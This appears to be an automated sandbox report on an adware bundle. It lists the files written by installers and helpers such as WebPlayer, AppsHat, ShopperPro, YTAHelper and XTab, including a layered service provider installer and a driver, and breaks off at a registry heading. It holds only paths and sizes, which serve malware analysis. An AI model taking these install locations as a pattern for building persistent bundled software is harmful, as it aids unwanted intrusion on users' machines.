C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\a64a4b5c68c364d30083fbd0b0363585[1].png (28771 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JUE44OZP.txt (221 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\7e5817bad781bbc2d2e43b350ccb53db[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ddb3b88cf98eb0220c9e6c252e376749[1].png (17314 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\b85261679e262228a562f693b3e6ef6f[1].png (25760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\36d7cd00f07003a67021237993257d08[1].png (9833 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\d586df222f5069b6c396373d67d0163b[1].png (23699 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\logo_illust[1].jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\442a5f30204dd385d17de5848683274f[1].png (14528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\5dbc29649669598ff43174b9ee730008[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\567f43cb72fe3ac6419369953394cadd[1].png (55795 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\e94782c9200f8de809a50327879df1cc[1].png (20800 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\52d5414e7372639389ab7e9e4d479aee[1].png (24802 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\13a052a6d8c62b7831aa10e2f6f37454[1].jpg (576 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\config[2].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7c9d412c730603d1d82b98a548a71bac[1].png (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (5984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (17395 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ac5196fbf245580eee113296dff14d0b[1].png (8840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\0692c2494a7331a77c05954f79c5480a[1].png (8120 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\jquery-ui.min[1].js (116492 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\bbbde9554589bda63791709a6785e0a3[1].png (10360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\7d4f668f3d1818d01b6b9684b669d0db[1].png (5680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f4e4b853ddab3b763f0af17d513631bd[1].png (22794 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ace33f0a1eddf74bbe8d1bfac70deded[1].png (11550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4f263f4be4c4396c9078d1874c05b928[1].png (5568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\AZTLRVHC.txt (89 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (28618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\logo[1].jpg (5 bytes)

The process WebPlayer.exe:2508 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\gui_btn[1].png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\flvplayer[1].htm (1156 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\logo[1].png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\flv_02[1].jpg (8523 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\config[1].json (905 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\jquery.min[1].js (58135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\jwplayer[1].js (96000 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\bg_header[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\btn[1].png (200 bytes)

The process appshat.exe:4008 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\Iulos.tmp (396481 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\18574.bat (411 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\FacebookIsGod.dll (2555 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\Lexdja.exe (5162969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_e (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_d (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_c (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_b (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_a (137814 bytes)

The process ins_shopperpro.exe:3056 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F1.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F1.tmp\setup.exe (1590209 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F1.tmp\setup1.exe (143233 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F0.tmp (153711 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (323 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F1.tmp\NK.lky (16 bytes)

The process regsvr32.exe:3884 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (503 bytes)

The process regsvr32.exe:2172 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (425 bytes)

The process regsvr32.exe:3988 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper.dll (434 bytes)

The process regsvr32.exe:816 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper64.dll (524 bytes)

The process lspinst.exe:2780 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process lspinst.exe:2480 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process webplayer_installer.exe:4132 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf388E.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)

The process webplayer_installer.exe:3796 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszD568.tmp\nsExec.dll (14 bytes)

The process YTAHEL~1.EXE:3436 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu7733.tmp (133285 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\AccDownload.dll (11667 bytes)

The process DCytaiesmt_smtyc_setup.exe:1652 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_5963\ins_postInst.exe (3063 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_5963\ins_yta.exe (29930 bytes)

The process cscript.exe:3884 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\scripts\config.xml (824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\icons\shortcut.ico (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\32x32[1].ico (892 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\FLV Player\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\icons\tray.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\FLV Player\Play online FLV files.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\scripts\default_config.json (940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\flvplayer[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (905 bytes)
C:\Users\"%CurrentUserName%"\Desktop\FLV Player.lnk (2 bytes)

The process cscript.exe:2104 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\64x64[1].ico (5575 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)

The process spbiu.exe:2896 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1032 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:2612 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process XTab_v4.0.exe:888 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18027 bytes)
%Program Files% (x86)\XTab\conf (1606 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1681 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu78F.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process taskeng.exe:556 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:336 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\DCytaiesmt_smtyc_setup.exe (380075 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\D53C5DD7A5B8C753 (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E0.tmp (39594 bytes)

Registry activity

The process ProtectService.exe:3084 makes changes in the system registry.
